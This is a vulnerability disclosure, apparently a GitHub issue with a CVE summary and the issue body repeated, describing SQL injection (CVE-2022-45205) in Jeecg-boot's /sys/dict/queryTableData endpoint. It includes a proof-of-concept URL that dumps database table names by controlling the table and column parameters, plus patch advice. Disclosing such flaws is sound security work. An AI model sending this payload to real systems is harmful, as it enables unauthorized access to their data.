Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/dict/queryTableData.
# SysDictMapper.xml
queryDictTablePageList。You can see that no precompiling is performed
<img width="960" alt="截屏2022-10-25 15 24 58" src="https://user-images.githubusercontent.com/60163868/197709842-99880e4f-25e4-4f5a-a2cb-4fa8dcca4db2.png">

# SysDictController.java
<img width="1192" alt="截屏2022-10-25 15 25 29" src="https://user-images.githubusercontent.com/60163868/197709957-cd39a764-b173-4958-ad07-75c31c07c594.png">

# SysDictServiceImpl.java
<img width="807" alt="截屏2022-10-25 15 26 05" src="https://user-images.githubusercontent.com/60163868/197710069-7de3a1d9-616e-4e2d-a5ff-3fc3a5e8fee9.png">

# vuln
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data

# poc
http://192.168.1.1:8088/jeecg-boot/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data
## MySQL background code
<img width="1227" alt="截屏2022-10-25 15 28 13" src="https://user-images.githubusercontent.com/60163868/197710513-13392cf8-cf24-40f8-9866-7f52069dec06.png">

## result in the website
<img width="1889" alt="截屏2022-10-25 15 33 29" src="https://user-images.githubusercontent.com/60163868/197711567-079e07b7-c823-4b96-8d2b-ef2d5be3c52b.png">


pagesize control the result num，and code text  control the column_name you want,table control the tables
# patch
Change to precompile
Verify the fields entered by the user

[CVE-2022-45205]/sys/dict/queryTableData  is affected by sql injection
This is a GitHub Issue
repo:jeecg-boot
owner:jeecgboot
Title : [CVE-2022-45205]/sys/dict/queryTableData  is affected by sql injection
Issue date:

--- start body ---
# SysDictMapper.xml
queryDictTablePageList。You can see that no precompiling is performed
<img width="960" alt="截屏2022-10-25 15 24 58" src="https://user-images.githubusercontent.com/60163868/197709842-99880e4f-25e4-4f5a-a2cb-4fa8dcca4db2.png">

# SysDictController.java
<img width="1192" alt="截屏2022-10-25 15 25 29" src="https://user-images.githubusercontent.com/60163868/197709957-cd39a764-b173-4958-ad07-75c31c07c594.png">

# SysDictServiceImpl.java
<img width="807" alt="截屏2022-10-25 15 26 05" src="https://user-images.githubusercontent.com/60163868/197710069-7de3a1d9-616e-4e2d-a5ff-3fc3a5e8fee9.png">

# vuln
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data

# poc
http://192.168.1.1:8088/jeecg-boot/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data
## MySQL background code
<img width="1227" alt="截屏2022-10-25 15 28 13" src="https://user-images.githubusercontent.com/60163868/197710513-13392cf8-cf24-40f8-9866-7f52069dec06.png">

## result in the website
<img width="1889" alt="截屏2022-10-25 15 33 29" src="https://user-images.githubusercontent.com/60163868/197711567-079e07b7-c823-4b96-8d2b-ef2d5be3c52b.png">


pagesize control the result num，and code text  control the column_name you want,table control the tables
# patch
Change to precompile
Verify the fields entered by the user

--- end body ---

The issue describes a SQL injection vulnerability in the Jeecg-Boot application, specifically in the /sys/dict/queryTableData endpoint. The lack of input validation allows attackers to manipulate SQL queries by controlling table, column, and database names, potentially leading to unauthorized data access. The provided proof of concept demonstrates how an attacker can exploit this vulnerability to retrieve sensitive information from the database.